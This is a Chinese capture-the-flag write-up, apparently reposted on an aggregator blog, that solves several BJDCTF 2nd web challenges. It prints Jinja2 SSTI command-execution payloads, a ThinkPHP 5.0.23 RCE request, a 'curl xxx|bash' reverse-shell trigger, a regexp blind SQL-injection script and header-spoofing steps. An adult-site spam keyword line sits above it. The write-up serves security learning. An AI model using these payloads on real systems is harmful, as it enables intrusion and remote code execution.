日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

【BJDCTF 2nd—Web】做题+复现记录

發(fā)布時間:2024/9/30 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【BJDCTF 2nd—Web】做题+复现记录 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

fake google

隨便輸入然后查看源代碼發(fā)現(xiàn)

ssti,應該是服務器模板注入,查了一個payload直接就可以查到flag

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

其實詳細的做法應該是先去判斷漏洞點,因為這里輸入就回顯,而且不是php,所以就要去猜想是不是ssti,這里出題師傅也給出提示,就是ssti,接下來判斷是什么模板引擎

{{ }}在jinja2中為變量包裹標識符,試一下{{config}}發(fā)現(xiàn)有回顯,判斷是jinja2模板

接下來看一下根目錄

{% for c in [].__class__.__base__.__subclasses__() %} {%if%20c.__name__=='catch_warnings'%27'%} {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}} {%endif%} {% endfor %}


接下來讀一下flag即可

除此之外,還可以使用Tplmap工具來做這道題

python tplmap.py -u http://8f55fac1-eb01-4ab6-898c-e9b8600cb0d8.node3.buuoj.cn//qaq?name= --os-shell


工具介紹

old-hack


thinphp5,百度查了一下漏洞,隨便拉一個payload試試

報錯發(fā)現(xiàn)thinkphp版本是5.0.23,直接查詢對應的RCE代碼

http://58d51614-57b0-4e33-90d8-1a430ed45f4b.node3.buuoj.cn/index.php?s=captchaPOST:_method=__construct&filter[]=system&method=get&get[]=whoami


繼續(xù)讀取即可

duangShell


提示了是.swp備份文件,所以是Vim文件泄露

http://0b845bf5-dd6e-420d-a3e0-0307d1ec01f3.node3.buuoj.cn/.index.php.swp

使用vim打開

vim -r index.php.swp


過濾很多,而且最后執(zhí)行的函數(shù)是exec,這個函數(shù)是無回顯的,所以首先想到反彈shell,使用

curl xxx|bash

觸發(fā)反彈shell

看題目說明


在靶機中寫入反彈shell的語句

觸發(fā)反彈shell

連接成功

接下來找flag就行了,flag在etc目錄下

find /etc -name flag

簡單注入

先FUZZ一下,看看都過濾了哪些東西

發(fā)現(xiàn)單引號、雙引號、=都被ban了,而且select也被ban了,這就要想其他方法了注入了,發(fā)現(xiàn)regexp沒有被ban,可以嘗試一下。

那接下來就要想怎么使用regexp注入了,假設語句是這樣的

select username,password from user where username='$user' and password='$pass'

那單引號都被ban了,怎么去繞過,查看剛才FUZZ的測試,發(fā)現(xiàn)\沒有被ban,所以可以使用反斜線去將單引號轉(zhuǎn)義,實現(xiàn)SQL語句逃逸,從而導致SQL注入。

select username,password from user where username='admin\' and password='or 1#'

既然知道了如果繞過了,就使用regexp布爾盲注,腳本如下:

import string import requestsdef ord2hex(string):result = ''for i in string:result += hex(ord(i))result = result.replace('0x','')return '0x'+resulturl = "http://1cad8e11-f1b7-4d3a-a16f-7341b53815bc.node3.buuoj.cn" headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36' } #數(shù)字+字母字典 dict = string.ascii_letters + string.digits temp = '' for j in range(50):for i in dict:passwords = ord2hex('^'+temp+i)payload = "or password regexp binary {}#".format(passwords)data = {'username': 'admin\\','password': payload}reponse = requests.post(url=url,headers=headers,data=data)# print(reponse.text)if 'BJD needs' in reponse.text:temp = temp + iprint(temp.ljust(40, '.'))break

這里解釋一下,之所以payload中regexp后要加binary,是因為題目提示了區(qū)分大小寫

MySQL中的正則表達式匹配不區(qū)分大小寫。
為區(qū)分大小寫,可使用BINARY關(guān)鍵

還有就是之所以使用ord2hex()這個函數(shù),是因為我們要使用正則表達式^去匹配密碼,但單引號會被ban,所以轉(zhuǎn)換成16進制,而16進制在SQL執(zhí)行時會自動變成字符。

感謝Y1ng師傅的解答

假豬套天下第一


一個登陸框,使用萬能密碼能夠登進去,但什么也沒有發(fā)現(xiàn),在用burp抓包的時候發(fā)現(xiàn)是302跳轉(zhuǎn)

進入看一下

之前做過一道題也是考這種設置時間的,看到Expires

一直以為是在這里做修改,還是不熟悉這個參數(shù)的意思

Expires 表示存在時間,允許客戶端在這個時間之前不去檢查(發(fā)請求)

觀察請求頭的COOKIE中包含了time的時間戳,提示是過99年,那就將當前時間戳加99年試試


這樣第一層就繞過去了,發(fā)現(xiàn)下面的提示是localhost,修改XFF

會發(fā)現(xiàn)過濾掉了這個XFF,那可以使用Client-IP或者X-Real-IP代替XFF即可

考察Referer,添加即可

添加之后,又出來一個Commodo 64這個,搜索一下

是一種老式電腦系統(tǒng)叫Commodore 64,所以這個應該是標識,修改UA即可

修改好之后,又出現(xiàn)一個emali,查資料發(fā)現(xiàn)

添加From

關(guān)鍵字代理,再查查資料


base64解碼即可

HTTP Header 詳解

Schro?dinger


一開始一臉懵,不知道要干啥,抓包發(fā)現(xiàn)test.php頁面
用戶名為admin,讓我們?nèi)サ贸雒艽a,這里一開始以為是布爾盲注或時間盲注的,FUZZ測試等都不行,就猜想可能是這個爆破密碼,但也不對,回頭看首頁

把剛才需要輸入密碼的連接在首頁input,爆出密碼

出現(xiàn)這些,點一下check會失敗,抓包發(fā)現(xiàn)有一個cookie很特別

base64解碼是一串數(shù)字1585230828,應該是時間戳,在線轉(zhuǎn)換下


確實是,然后又就以為是又要去查找這兩個參數(shù)
結(jié)果沒弄出來,就看了師傅的WP,發(fā)現(xiàn)把這個COOKIE置空再檢查即可

B站查AV號,后面的也是時間戳,查對應的時間即可查出flag

總結(jié)

以上是生活随笔為你收集整理的【BJDCTF 2nd—Web】做题+复现记录的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。